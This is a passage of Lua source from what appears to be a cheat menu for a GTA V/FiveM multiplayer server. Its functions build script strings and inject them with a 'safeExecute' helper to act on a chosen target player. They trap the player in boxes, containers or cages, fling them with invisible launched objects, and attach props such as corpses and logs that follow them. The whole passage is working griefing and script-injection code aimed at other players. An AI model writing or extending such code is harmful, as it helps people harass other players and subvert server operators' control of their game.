return spec end end local selectedIndex = menu.vars.selectors repeat if selectedIndex then selectedIndex = menu.vars.selectors.trapSelector if selectedIndex then break end end selectedIndex = 1 until true local choices = menu.functions.trapObjectChoices if not choices then choices = {} choices[1] = "Box" choices[2] = "Backrooms" choices[3] = "Tree" choices[4] = "Truck" end local selectedName = choices[selectedIndex] if not selectedName then selectedName = "Box" end local selectedSpec = specs[selectedName] if not selectedSpec then selectedSpec = specs.Box end return selectedSpec end function assembledMenuFunctions.spawnTrashCan(options) repeat if options then local targetInfo = options.targetInfo if targetInfo then break end end return until true local spec = menu.functions.getTrapObjectSpec(options.selectedValue) local whitelisted = menu.utils.isObjectWhitelisted(spec.model) if not whitelisted then menu.utils.notify("Object is blacklisted", "error", 2000) return end local targetPed = options.targetInfo.ped local serverId = tonumber(options.targetInfo.serverId) local resolveTargetScript = "" if serverId then resolveTargetScript = string.format( [[ local targetPlayer = GetPlayerFromServerId(%d) if targetPlayer and targetPlayer ~= -1 then targetPed = GetPlayerPed(targetPlayer) end ]], serverId ) end if spec.mode == "box_overlap" then local script = " local targetPed = " .. targetPed .. [[ CreateThread(function() if not targetPed or not DoesEntityExist(targetPed) then return end local hash = GetHashKey("]] .. spec.model .. [[ ") RequestModel(hash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(hash) then return end local pedCoords = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) RequestCollisionAtCoord(pedCoords.x, pedCoords.y, pedCoords.z) local function spawnOnPlayer(rotOffset) local obj = CreateObject(hash, pedCoords.x, pedCoords.y, pedCoords.z, true, true, true) if obj and obj ~= 0 and DoesEntityExist(obj) then SetEntityHeading(obj, heading + rotOffset) PlaceObjectOnGroundProperly(obj) FreezeEntityPosition(obj, true) end return obj end spawnOnPlayer(0.0) spawnOnPlayer(90.0) SetModelAsNoLongerNeeded(hash) end) ]] menu.utils.safeExecute(script) return end if spec.mode == "double_trap" then local halfOffsetScale = spec.halfOffsetScale if not halfOffsetScale then halfOffsetScale = 0.5 end local spawnZOffset = spec.spawnZOffset if not spawnZOffset then spawnZOffset = 0.0 end local snapToGround = spec.snapToGround repeat if snapToGround then snapToGround = "true" if snapToGround then break end end snapToGround = "false" until true local layout = spec.layout if not layout then layout = "front" end local sideOffset = spec.sideOffset local sideOffsetValue repeat if sideOffset ~= nil then sideOffsetValue = tostring(sideOffset) if sideOffsetValue then break end end sideOffsetValue = "nil" until true local nestedRotOffsets = spec.nestedRotOffsets if not nestedRotOffsets then nestedRotOffsets = {} nestedRotOffsets[1] = 0.0 nestedRotOffsets[2] = 180.0 end local rotationValues = "{" for index, rotation in ipairs(nestedRotOffsets) do if 1 < index then rotationValues = rotationValues .. ", " end rotationValues = rotationValues .. tostring(rotation) end rotationValues = rotationValues .. "}" local nestedAlign = spec.nestedAlign if not nestedAlign then nestedAlign = "center" end local script = " local targetPed = " .. targetPed .. " local halfOffsetScale = " .. halfOffsetScale .. " local spawnZOffset = " .. spawnZOffset .. " local snapToGround = " .. snapToGround .. " local layout = \"" .. layout .. [[ " local sideOffset = ]] .. sideOffsetValue .. " local nestedRotOffsets = " .. rotationValues .. " local nestedAlign = \"" .. nestedAlign .. [[ " CreateThread(function() if not targetPed or not DoesEntityExist(targetPed) then return end ]] .. resolveTargetScript .. [[ if not targetPed or not DoesEntityExist(targetPed) then return end local hash = GetHashKey("]] .. spec.model .. [[ ") RequestModel(hash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(hash) then return end local pedCoords = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) RequestCollisionAtCoord(pedCoords.x, pedCoords.y, pedCoords.z) local foundGround, groundZ = GetGroundZFor_3dCoord(pedCoords.x, pedCoords.y, pedCoords.z + 50.0, false) if not foundGround then groundZ = pedCoords.z - 0.95 end groundZ = groundZ + spawnZOffset local minDim, maxDim = GetModelDimensions(hash) local halfDepth = (maxDim.y - minDim.y) * 0.5 local halfWidth = (maxDim.x - minDim.x) * 0.5 local function snapBottomToGround(obj, targetGroundZ) local modelMin, modelMax = GetModelDimensions(hash) local lowestZ = nil local corners = { {modelMin.x, modelMin.y, modelMin.z}, {modelMin.x, modelMin.y, modelMax.z}, {modelMin.x, modelMax.y, modelMin.z}, {modelMin.x, modelMax.y, modelMax.z}, {modelMax.x, modelMin.y, modelMin.z}, {modelMax.x, modelMin.y, modelMax.z}, {modelMax.x, modelMax.y, modelMin.z}, {modelMax.x, modelMax.y, modelMax.z}, } for _, c in ipairs(corners) do local world = GetOffsetFromEntityInWorldCoords(obj, c[1], c[2], c[3]) if not lowestZ or world.z < lowestZ then lowestZ = world.z end end if lowestZ then local entCoords = GetEntityCoords(obj) SetEntityCoordsNoOffset( obj, entCoords.x, entCoords.y, entCoords.z + (targetGroundZ - lowestZ), false, false, false ) end end local function spawnPiece(offsetX, offsetY, rotOffset) local spawnPos = GetOffsetFromEntityInWorldCoords(targetPed, offsetX, offsetY, 0.0) local obj = CreateObject(hash, spawnPos.x, spawnPos.y, groundZ, true, true, true) if obj and obj ~= 0 and DoesEntityExist(obj) then SetEntityHeading(obj, heading + rotOffset) if snapToGround then snapBottomToGround(obj, groundZ) else PlaceObjectOnGroundProperly(obj) if spawnZOffset ~= 0.0 then local objCoords = GetEntityCoords(obj) SetEntityCoordsNoOffset(obj, objCoords.x, objCoords.y, objCoords.z + spawnZOffset, false, false, false) end end FreezeEntityPosition(obj, true) end return obj end if layout == "nested" then local modelMin, modelMax = GetModelDimensions(hash) local localCenter = vector3( (modelMin.x + modelMax.x) * 0.5, (modelMin.y + modelMax.y) * 0.5, (modelMin.z + modelMax.z) * 0.5 ) local function alignObjectToPed(obj, rotOffset) if not obj or not DoesEntityExist(obj) then return end if nestedAlign == "pivot" then SetEntityCoordsNoOffset(obj, pedCoords.x, pedCoords.y, pedCoords.z + spawnZOffset, false, false, false) SetEntityHeading(obj, heading + (rotOffset or 0.0)) else SetEntityCoordsNoOffset(obj, pedCoords.x, pedCoords.y, pedCoords.z, false, false, false) SetEntityHeading(obj, heading + (rotOffset or 0.0)) local worldCenter = GetOffsetFromEntityInWorldCoords(obj, localCenter.x, localCenter.y, localCenter.z) local objCoords = GetEntityCoords(obj) SetEntityCoordsNoOffset( obj, objCoords.x + (pedCoords.x - worldCenter.x), objCoords.y + (pedCoords.y - worldCenter.y), objCoords.z + (pedCoords.z - worldCenter.z) + spawnZOffset, false, false, false ) end SetEntityAsMissionEntity(obj, true, true) SetEntityCollision(obj, true, true) FreezeEntityPosition(obj, true) end for _, rotOffset in ipairs(nestedRotOffsets) do local obj = CreateObject(hash, pedCoords.x, pedCoords.y, pedCoords.z + spawnZOffset, true, true, true) if obj and obj ~= 0 and DoesEntityExist(obj) then alignObjectToPed(obj, rotOffset) end end elseif layout == "side" then local offsetX = sideOffset if offsetX == nil then offsetX = halfWidth * halfOffsetScale end spawnPiece(-offsetX, 0.0, 90.0) spawnPiece(offsetX, 0.0, -90.0) else spawnPiece(0.0, halfDepth * halfOffsetScale, 0.0) spawnPiece(0.0, -halfDepth * halfOffsetScale, 180.0) end SetModelAsNoLongerNeeded(hash) end) ]] menu.utils.safeExecute(script) return end menu.utils.notify("Invalid trap type", "error", 2000) end function assembledMenuFunctions.spawnCube(options) repeat if options then local targetInfo = options.targetInfo if targetInfo then break end end return until true local spec = menu.functions.getCubeObjectSpec(options.selectedValue) local whitelisted = menu.utils.isObjectWhitelisted(spec.model) if not whitelisted then menu.utils.notify("Object is blacklisted", "error", 2000) return end local targetPed = options.targetInfo.ped local layout = spec.layout if not layout then layout = "panel" end local script = " local targetPed = " .. targetPed .. " local cubeLayout = \"" .. layout .. [[ " CreateThread(function() if not targetPed or not DoesEntityExist(targetPed) then return end local hash = GetHashKey("]] .. spec.model .. [[ ") RequestModel(hash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(hash) then return end local heading = GetEntityHeading(targetPed) local minDim, maxDim = GetModelDimensions(hash) local sides if cubeLayout == "upright" then local wallWidth = maxDim.x - minDim.x local half = wallWidth * 0.485 sides = { { ox = 0.0, oy = half, rx = 90.0, ry = 0.0, rz = 0.0 }, { ox = 0.0, oy = -half, rx = 90.0, ry = 0.0, rz = 180.0 }, { ox = half, oy = 0.0, rx = 90.0, ry = 0.0, rz = 90.0 }, { ox = -half, oy = 0.0, rx = 90.0, ry = 0.0, rz = -90.0 }, } else local panelSize = math.max(maxDim.x - minDim.x, maxDim.z - minDim.z) local half = panelSize * 0.40 sides = { { ox = 0.0, oy = half, rx = 0.0, ry = 0.0, rz = 0.0 }, { ox = 0.0, oy = -half, rx = 0.0, ry = 0.0, rz = 180.0 }, { ox = half, oy = 0.0, rx = 0.0, ry = 0.0, rz = 90.0 }, { ox = -half, oy = 0.0, rx = 0.0, ry = 0.0, rz = -90.0 }, } end local function snapBottomToGround(obj, groundZ) local modelMin, modelMax = GetModelDimensions(hash) local lowestZ = nil local corners = { {modelMin.x, modelMin.y, modelMin.z}, {modelMin.x, modelMin.y, modelMax.z}, {modelMin.x, modelMax.y, modelMin.z}, {modelMin.x, modelMax.y, modelMax.z}, {modelMax.x, modelMin.y, modelMin.z}, {modelMax.x, modelMin.y, modelMax.z}, {modelMax.x, modelMax.y, modelMin.z}, {modelMax.x, modelMax.y, modelMax.z}, } for _, c in ipairs(corners) do local world = GetOffsetFromEntityInWorldCoords(obj, c[1], c[2], c[3]) if not lowestZ or world.z < lowestZ then lowestZ = world.z end end if lowestZ then local entCoords = GetEntityCoords(obj) SetEntityCoordsNoOffset(obj, entCoords.x, entCoords.y, entCoords.z + (groundZ - lowestZ), false, false, false) end end for _, side in ipairs(sides) do local pos = GetOffsetFromEntityInWorldCoords(targetPed, side.ox, side.oy, 0.0) RequestCollisionAtCoord(pos.x, pos.y, pos.z) local foundGround, groundZ = GetGroundZFor_3dCoord(pos.x, pos.y, pos.z + 50.0, false) if not foundGround then local pedCoords = GetEntityCoords(targetPed) groundZ = pedCoords.z - 0.95 end local obj = CreateObject(hash, pos.x, pos.y, groundZ, true, true, true) if obj and obj ~= 0 and DoesEntityExist(obj) then SetEntityRotation(obj, side.rx, side.ry, heading + side.rz, 2, true) snapBottomToGround(obj, groundZ) FreezeEntityPosition(obj, true) end end SetModelAsNoLongerNeeded(hash) end) ]] menu.utils.safeExecute(script) end function assembledMenuFunctions.getObjectLaunchModel(selection) local models = {} models[1] = "lf_house_17_" models[2] = "prop_mb_cargo_04b" local input = selection local numericSelection = tonumber(input) if numericSelection then local selectedModel = models[numericSelection] if selectedModel then selectedModel = models[numericSelection] return selectedModel end end local aliases = {} local model = models[1] aliases["1"] = model model = models[2] aliases["2"] = model model = models[1] aliases.House = model model = models[2] aliases.Cargo = model local stringify = tostring local selectedValue if selection then selectedValue = selection else selectedValue = "1" end local key = stringify(selectedValue) local selectedModel = aliases[key] if not selectedModel then selectedModel = models[1] end return selectedModel end function assembledMenuFunctions.getObjectLaunchSettings(selection) local input = selection local selectedIndex = tonumber(input) repeat if not selectedIndex then local stringify = tostring local selectedValue if selection then selectedValue = selection else selectedValue = "1" end local name = stringify(selectedValue) do local isCargo = false repeat if name ~= "2" then if name ~= "Cargo" then break end end selectedIndex = 2 isCargo = true break until true if isCargo then break end end selectedIndex = 1 end until true if selectedIndex == 2 then local settings = {} settings.spawnDepth = 50.0 settings.speed = 100.0 return settings end local settings = {} settings.spawnDepth = 75.0 settings.speed = 120.0 return settings end function assembledMenuFunctions.executeObjectLaunchPlayer(targetPed, modelName, spawnDepth, speed) repeat if targetPed then if modelName then break end end return until true do local textValue = tostring(modelName) modelName = textValue end do local numberValue = tonumber(spawnDepth) if numberValue then spawnDepth = numberValue else spawnDepth = 75.0 end end local numericSpeed = tonumber(speed) if numericSpeed then speed = numericSpeed else speed = 120.0 end do local validModel = false repeat repeat if modelName ~= "" then local find = modelName.find local percentMatch = find(modelName, "%%") if percentMatch then break end find = modelName.find local quoteMatch = find(modelName, "\"") if not quoteMatch then validModel = true break end end until true if validModel then break end local notify = menu.utils.notify notify("Invalid model", "error", 2000) return until true end local whitelisted = menu.utils.isObjectWhitelisted(modelName) if not whitelisted then local notify = menu.utils.notify notify("Object is blacklisted", "error", 2000) return end local scriptPrefix = " local targetPed = " local targetValue = targetPed local scriptBeforeModel = [[ CreateThread(function() if not targetPed or not DoesEntityExist(targetPed) then return end local modelName = "]] local modelValue = modelName local scriptBeforeDepth = [[ " local hash = GetHashKey(modelName) RequestModel(hash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(hash) then return end local targetCoords = GetEntityCoords(targetPed) local spawnPos = vector3(targetCoords.x, targetCoords.y, targetCoords.z - ]] local depthValue = spawnDepth local scriptBeforeSpeed = [[ ) local obj = CreateObject(hash, spawnPos.x, spawnPos.y, spawnPos.z, true, true, true) if not obj or obj == 0 or not DoesEntityExist(obj) then SetModelAsNoLongerNeeded(hash) return end SetEntityAsMissionEntity(obj, true, true) SetEntityCollision(obj, true, true) SetEntityDynamic(obj, true) ActivatePhysics(obj) FreezeEntityPosition(obj, true) Wait(100) if DoesEntityExist(obj) then SetEntityVisible(obj, false, false) end Wait(150) if DoesEntityExist(obj) then FreezeEntityPosition(obj, false) SetEntityVelocity(obj, 0.0, 0.0, ]] local speedValue = speed local scriptSuffix = [[ ) end Wait(5000) if DoesEntityExist(obj) then DeleteEntity(obj) end SetModelAsNoLongerNeeded(hash) end) ]] local script = scriptPrefix .. targetValue .. scriptBeforeModel .. modelValue .. scriptBeforeDepth .. depthValue .. scriptBeforeSpeed .. speedValue .. scriptSuffix local safeExecute = menu.utils.safeExecute safeExecute(script) end function assembledMenuFunctions.objectLaunch(options) repeat if options then local targetInfo = options.targetInfo if targetInfo then break end end return until true local selectedValue = options.selectedValue if selectedValue == "Custom" then local defaultModel = menu.vars.textInputs repeat if defaultModel then defaultModel = menu.vars.textInputs.objectLaunchCustomModel if defaultModel then break end end defaultModel = "" until true local promptText = menu.ui.promptText local promptOptions = {} promptOptions.title = "Object Launch" promptOptions.label = "Enter object model name" promptOptions.placeholder = "e.g. prop_crate_01a" promptOptions.default = defaultModel promptOptions.maxLen = 64 local function onCustomModelInput(value, cancelled) if cancelled then return end repeat if value then if value ~= "" then break end end local notify = menu.utils.notify notify("No model name entered", "error", 2000) return until true local trim = string.gsub local modelName = trim(value, "^%s*(.-)%s*$", "%1") if modelName == "" then return end local modelHash = GetHashKey(modelName) local modelExists = IsModelInCdimage(modelHash) if not modelExists then local notify = menu.utils.notify local message = "Invalid model: " .. modelName notify(message, "error", 2000) return end local textInputs = menu.vars.textInputs if not textInputs then local vars = menu.vars local newTextInputs = {} vars.textInputs = newTextInputs end do local textInputs = menu.vars.textInputs textInputs.objectLaunchCustomModel = modelName end local executeLaunch = menu.functions.executeObjectLaunchPlayer local targetPed do local targetInfo = options.targetInfo targetPed = targetInfo.ped end executeLaunch(targetPed, modelName) end promptText(promptOptions, onCustomModelInput) return end local getModel = menu.functions.getObjectLaunchModel local model do local selectedValue = options.selectedValue model = getModel(selectedValue) end local getSettings = menu.functions.getObjectLaunchSettings local settings do local selectedValue = options.selectedValue settings = getSettings(selectedValue) end local executeLaunch = menu.functions.executeObjectLaunchPlayer local targetInfo = options.targetInfo local targetPed = targetInfo.ped local spawnDepth = settings.spawnDepth local speed = settings.speed executeLaunch(targetPed, model, spawnDepth, speed) end function assembledMenuFunctions.spawnCorpseFollow(options) repeat if options then local targetInfo = options.targetInfo if targetInfo then break end end return until true local whitelisted = menu.utils.isObjectWhitelisted("vw_prop_vw_ped_hillbilly_01a") if not whitelisted then menu.utils.notify("Object is blacklisted", "error", 2000) return end local targetPed = options.targetInfo.ped local script = " local targetPed = " .. targetPed .. [[ CreateThread(function() if not targetPed or not DoesEntityExist(targetPed) then return end local modelName = "vw_prop_vw_ped_hillbilly_01a" local hash = GetHashKey(modelName) RequestModel(hash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(hash) then return end local objects = {} local function spawnCorpsesAtOffsets(offsetList) for _, offset in ipairs(offsetList) do local spawnPos = GetOffsetFromEntityInWorldCoords(targetPed, offset.x, offset.y, offset.z) local obj = CreateObject(hash, spawnPos.x, spawnPos.y, spawnPos.z, true, true, true) if obj and obj ~= 0 and DoesEntityExist(obj) then SetEntityAsMissionEntity(obj, true, true) SetEntityCollision(obj, true, true) SetEntityHeading(obj, GetEntityHeading(targetPed)) objects[#objects + 1] = { entity = obj, offset = offset } end end end spawnCorpsesAtOffsets({ { x = 0.0, y = 1.0, z = 0.0 }, { x = -1.0, y = 0.0, z = 0.0 }, { x = 1.0, y = 0.0, z = 0.0 }, }) SetModelAsNoLongerNeeded(hash) if #objects == 0 then return end local secondWaveSpawned = false local startTime = GetGameTimer() while DoesEntityExist(targetPed) do if not secondWaveSpawned and (GetGameTimer() - startTime) >= 4000 then secondWaveSpawned = true spawnCorpsesAtOffsets({ { x = 0.0, y = -1.0, z = 0.0 }, { x = -1.0, y = 0.0, z = 0.0 }, { x = 1.0, y = 0.0, z = 0.0 }, }) end local heading = GetEntityHeading(targetPed) for _, entry in ipairs(objects) do local obj = entry.entity if obj and DoesEntityExist(obj) then local pos = GetOffsetFromEntityInWorldCoords(targetPed, entry.offset.x, entry.offset.y, entry.offset.z) SetEntityCoordsNoOffset(obj, pos.x, pos.y, pos.z, false, false, false) SetEntityHeading(obj, heading) end end Wait(0) end for _, entry in ipairs(objects) do if entry.entity and DoesEntityExist(entry.entity) then DeleteEntity(entry.entity) end end end) ]] menu.utils.safeExecute(script) end function assembledMenuFunctions.spawnParachuteFollow(options) repeat if options then local targetInfo = options.targetInfo if targetInfo then break end end return until true local whitelisted = menu.utils.isObjectWhitelisted("p_parachute_fallen_s") if not whitelisted then menu.utils.notify("Object is blacklisted", "error", 2000) return end local targetPed = options.targetInfo.ped local script = " local targetPed = " .. targetPed .. [[ CreateThread(function() if not targetPed or not DoesEntityExist(targetPed) then return end local modelName = "p_parachute_fallen_s" local hash = GetHashKey(modelName) RequestModel(hash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(hash) then return end local objects = {} local modelMin, modelMax = GetModelDimensions(hash) local localCenter = vector3( (modelMin.x + modelMax.x) * 0.5, (modelMin.y + modelMax.y) * 0.5, (modelMin.z + modelMax.z) * 0.5 ) local spawnZOffset = -1.2 local function alignParachuteToPed(obj, rotOffset) if not obj or not DoesEntityExist(obj) or not DoesEntityExist(targetPed) then return end local pedCoords = GetEntityCoords(targetPed) local targetZ = pedCoords.z + spawnZOffset local heading = GetEntityHeading(targetPed) SetEntityCoordsNoOffset(obj, pedCoords.x, pedCoords.y, targetZ, false, false, false) SetEntityHeading(obj, heading + (rotOffset or 0.0)) local worldCenter = GetOffsetFromEntityInWorldCoords(obj, localCenter.x, localCenter.y, localCenter.z) local objCoords = GetEntityCoords(obj) SetEntityCoordsNoOffset( obj, objCoords.x + (pedCoords.x - worldCenter.x), objCoords.y + (pedCoords.y - worldCenter.y), objCoords.z + (targetZ - worldCenter.z), false, false, false ) SetEntityAsMissionEntity(obj, true, true) SetEntityCollision(obj, true, true) FreezeEntityPosition(obj, true) end for _ = 1, 3 do local pedCoords = GetEntityCoords(targetPed) local obj = CreateObject(hash, pedCoords.x, pedCoords.y, pedCoords.z, true, true, true) if obj and obj ~= 0 and DoesEntityExist(obj) then alignParachuteToPed(obj, 0.0) objects[#objects + 1] = obj end end SetModelAsNoLongerNeeded(hash) if #objects == 0 then return end while DoesEntityExist(targetPed) do for _, obj in ipairs(objects) do alignParachuteToPed(obj, 0.0) end Wait(0) end for _, obj in ipairs(objects) do if obj and DoesEntityExist(obj) then DeleteEntity(obj) end end end) ]] menu.utils.safeExecute(script) end function assembledMenuFunctions.logPlayer(options) repeat if options then local targetInfo = options.targetInfo if targetInfo then break end end return until true local whitelisted = menu.utils.isObjectWhitelisted("prop_logpile_02") if not whitelisted then menu.utils.notify("Object is blacklisted", "error", 2000) return end local targetPed = options.targetInfo.ped local script = " local targetPed = " .. targetPed .. [[ CreateThread(function() if not targetPed or not DoesEntityExist(targetPed) then return end local modelName = "prop_logpile_02" local hash = GetHashKey(modelName) RequestModel(hash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(hash) then return end local objects = {} local function spawnLogsAtOffsets(offsetList) for _, offset in ipairs(offsetList) do local spawnPos = GetOffsetFromEntityInWorldCoords(targetPed, offset.x, offset.y, offset.z) local obj = CreateObject(hash, spawnPos.x, spawnPos.y, spawnPos.z, true, true, true) if obj and obj ~= 0 and DoesEntityExist(obj) then SetEntityAsMissionEntity(obj, true, true) SetEntityCollision(obj, true, true) SetEntityHeading(obj, GetEntityHeading(targetPed)) objects[#objects + 1] = { entity = obj, offset = offset } end end end spawnLogsAtOffsets({ { x = 0.0, y = 1.0, z = 0.0 }, { x = -1.0, y = 0.0, z = 0.0 }, { x = 1.0, y = 0.0, z = 0.0 }, }) SetModelAsNoLongerNeeded(hash) if #objects == 0 then return end while DoesEntityExist(targetPed) do local heading = GetEntityHeading(targetPed) for _, entry in ipairs(objects) do local obj = entry.entity if obj and DoesEntityExist(obj) then local pos = GetOffsetFromEntityInWorldCoords(targetPed, entry.offset.x, entry.offset.y, entry.offset.z) SetEntityCoordsNoOffset(obj, pos.x, pos.y, pos.z, false, false, false) SetEntityHeading(obj, heading) end end Wait(0) end for _, entry in ipairs(objects) do if entry.entity and DoesEntityExist(entry.entity) then DeleteEntity(entry.entity) end end end) ]] menu.utils.safeExecute(script) end function assembledMenuFunctions.beerPlayer(options) repeat if options then if options.targetInfo then break end end return until true local whitelisted = menu.utils.isObjectWhitelisted("xs_prop_beer_bottle_wl") if not whitelisted then menu.utils.notify("Object is blacklisted", "error", 2000) return end local targetPed = options.targetInfo.ped local script = " local targetPed = " .. targetPed .. [[ CreateThread(function() if not targetPed or not DoesEntityExist(targetPed) then return end local modelName = "xs_prop_beer_bottle_wl" local hash = GetHashKey(modelName) RequestModel(hash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(hash) then return end local objects = {} local function spawnBeersAtOffsets(offsetList) for _, offset in ipairs(offsetList) do local spawnPos = GetOffsetFromEntityInWorldCoords(targetPed, offset.x, offset.y, offset.z) local obj = CreateObject(hash, spawnPos.x, spawnPos.y, spawnPos.z, true, true, true) if obj and obj ~= 0 and DoesEntityExist(obj) then SetEntityAsMissionEntity(obj, true, true) SetEntityCollision(obj, true, true) SetEntityRotation(obj, -90.0, 0.0, GetEntityHeading(targetPed), 2, true) objects[#objects + 1] = { entity = obj, offset = offset } end end end spawnBeersAtOffsets({ { x = 0.0, y = 0.35, z = 0.0 }, { x = -0.25, y = 0.0, z = 0.05 }, { x = 0.25, y = 0.0, z = 0.05 }, }) SetModelAsNoLongerNeeded(hash) if #objects == 0 then return end while DoesEntityExist(targetPed) do local heading = GetEntityHeading(targetPed) for _, entry in ipairs(objects) do local obj = entry.entity if obj and DoesEntityExist(obj) then local pos = GetOffsetFromEntityInWorldCoords(targetPed, entry.offset.x, entry.offset.y, entry.offset.z) SetEntityCoordsNoOffset(obj, pos.x, pos.y, pos.z, false, false, false) SetEntityRotation(obj, -90.0, 0.0, heading, 2, true) end end Wait(0) end for _, entry in ipairs(objects) do if entry.entity and DoesEntityExist(entry.entity) then DeleteEntity(entry.entity) end end end) ]] menu.utils.safeExecute(script) end function assembledMenuFunctions.cageWithDrink(options) repeat if options then local targetInfo = options.targetInfo if targetInfo then break end end return until true local whitelisted = menu.utils.isObjectWhitelisted("xs_prop_can_tunnel_wl") if not whitelisted then menu.utils.notify("Object is blacklisted", "error", 2000) return end local targetPed = options.targetInfo.ped local script = " local targetPed = " .. targetPed .. [[ CreateThread(function() if not targetPed or not DoesEntityExist(targetPed) then return end local hash = GetHashKey("xs_prop_can_tunnel_wl") RequestModel(hash) local timeout = GetGameTimer() + 5000 while not HasModelLoaded(hash) and GetGameTimer() < timeout do Wait(0) end if not HasModelLoaded(hash) then return end local pedCoords = GetEntityCoords(targetPed) local heading = GetEntityHeading(targetPed) RequestCollisionAtCoord(pedCoords.x, pedCoords.y, pedCoords.z) local foundGround, groundZ = GetGroundZFor_3dCoord(pedCoords.x, pedCoords.y, pedCoords.z + 50.0, false) if not foundGround then groundZ = pedCoords.z - 0.95 end local obj = CreateObject(hash, pedCoords.x, pedCoords.y, groundZ, true, true, true) if obj and obj ~= 0 and DoesEntityExist(obj) then SetEntityRotation(obj, 90.0, 0.0, heading, 2, true) local modelMin, modelMax = GetModelDimensions(hash) local lowestZ = nil local corners = { {modelMin.x, modelMin.y, modelMin.z}, {modelMin.x, modelMin.y, modelMax.z}, {modelMin.x, modelMax.y, modelMin.z}, {modelMin.x, modelMax.y, modelMax.z}, {modelMax.x, modelMin.y, modelMin.z}, {modelMax.x, modelMin.y, modelMax.z}, {modelMax.x, modelMax.y, modelMin.z}, {modelMax.x, modelMax.y, modelMax.z}, } for _, c in ipairs(corners) do local world = GetOffsetFromEntityInWorldCoords(obj, c[1], c[2], c[3]) if not lowestZ or world.z < lowestZ then lowestZ = world.z end end if lowestZ then local entCoords = GetEntityCoords(obj) SetEntityCoordsNoOffset(obj, entCoords.x, entCoords.y, entCoords.z + (groundZ - lowestZ), false, false, false) end FreezeEntityPosition(obj, true) end SetModelAsNoLongerNeeded(hash) end) ]] menu.utils.safeExecute(script) end function assembledMenuFunctions.spawnBunker(options) repeat if options then local targetInfo = options.targetInfo if targetInfo then break end end return until true local whitelisted = menu.utils.isObjectWhitelisted("m23_1_prop_m31_container_03a") if not whitelisted then menu.utils.notify("Object is blacklisted", "error", 2000) return end local targetPed = options.targetInfo.ped local script = " local targetPed = " .. targetPed .. [[ local objectModel = "m23_1_prop_m31_container_03a" local function finalizeContainer(obj) SetEntityAsMissionEntity(obj, true, true) SetEntityInvincible(obj, true) FreezeEntityPosition(obj, true) end local function getGroundZ(pedCoords) local found, groundZ = GetGroundZFor_3dCoord(pedCoords.x, pedCoords.y, pedCoords.z + 50.0, false) if not found then groundZ = pedCoords.z - 0.95 end return groundZ end local function getEntityCenter(obj) local minDim, maxDim = GetModelDimensions(GetEntityModel(obj)) return GetOffsetFromEntityInWorldCoords( obj, (minDim.x + maxDim.x) * 0.5, (minDim.y + maxDim.y) * 0.5, (minDim.z + maxDim.z) * 0.5 ) end local function getFaceCenter(obj, localY) local minDim, maxDim = GetModelDimensions(GetEntityModel(obj)) return GetOffsetFromEntityInWorldCoords( obj, (minDim.x + maxDim.x) * 0.5, localY, (minDim.z + maxDim.z) * 0.5 ) end local function snapFloorFaceToGround(obj, groundZ) local minDim, maxDim = GetModelDimensions(GetEntityModel(obj)) local faces = { { {minDim.x, minDim.y, minDim.z}, {maxDim.x, minDim.y, minDim.z}, {minDim.x, maxDim.y, minDim.z}, {maxDim.x, maxDim.y, minDim.z}, }, { {minDim.x, minDim.y, maxDim.z}, {maxDim.x, minDim.y, maxDim.z}, {minDim.x, maxDim.y, maxDim.z}, {maxDim.x, maxDim.y, maxDim.z}, }, { {minDim.x, minDim.y, minDim.z}, {minDim.x, minDim.y, maxDim.z}, {minDim.x, maxDim.y, minDim.z}, {maxDim.x, maxDim.y, maxDim.z}, }, { {maxDim.x, minDim.y, minDim.z}, {maxDim.x, minDim.y, maxDim.z}, {maxDim.x, maxDim.y, minDim.z}, {maxDim.x, maxDim.y, maxDim.z}, }, { {minDim.x, minDim.y, minDim.z}, {minDim.x, minDim.y, maxDim.z}, {maxDim.x, minDim.y, minDim.z}, {maxDim.x, maxDim.y, maxDim.z}, }, { {minDim.x, maxDim.y, minDim.z}, {minDim.x, maxDim.y, maxDim.z}, {maxDim.x, maxDim.y, minDim.z}, {maxDim.x, maxDim.y, maxDim.z}, }, } local bestAvgZ = nil local bestUpDot = -2.0 for _, corners in ipairs(faces) do local w0 = GetOffsetFromEntityInWorldCoords(obj, corners[1][1], corners[1][2], corners[1][3]) local w1 = GetOffsetFromEntityInWorldCoords(obj, corners[2][1], corners[2][2], corners[2][3]) local w2 = GetOffsetFromEntityInWorldCoords(obj, corners[3][1], corners[3][2], corners[3][3]) local ax, ay, az = w1.x - w0.x, w1.y - w0.y, w1.z - w0.z local bx, by, bz = w2.x - w0.x, w2.y - w0.y, w2.z - w0.z local nx = (ay * bz) - (az * by) local ny = (az * bx) - (ax * bz) local nz = (ax * by) - (ay * bx) local nLen = math.sqrt((nx * nx) + (ny * ny) + (nz * nz)) if nLen > 0.001 then nx, ny, nz = nx / nLen, ny / nLen, nz / nLen if nz > 0.35 then local w3 = GetOffsetFromEntityInWorldCoords(obj, corners[4][1], corners[4][2], corners[4][3]) local avgZ = (w0.z + w1.z + w2.z + w3.z) * 0.25 if nz > bestUpDot or (math.abs(nz - bestUpDot) < 0.01 and avgZ < (bestAvgZ or 9999.0)) then bestUpDot = nz bestAvgZ = avgZ end end end end if bestAvgZ then local objCoords = GetEntityCoords(obj) SetEntityCoordsNoOffset( obj, objCoords.x, objCoords.y, objCoords.z + (groundZ - bestAvgZ), false, false, false ) end end local function getOpeningFaceY(obj, heading) local minDim, maxDim = GetModelDimensions(GetEntityModel(obj)) local center = getEntityCenter(obj) local rad = math.rad(heading) local fwdX = -math.sin(rad) local fwdY = math.cos(rad) local bestY = minDim.y local bestScore = -999.0 for _, localY in ipairs({ 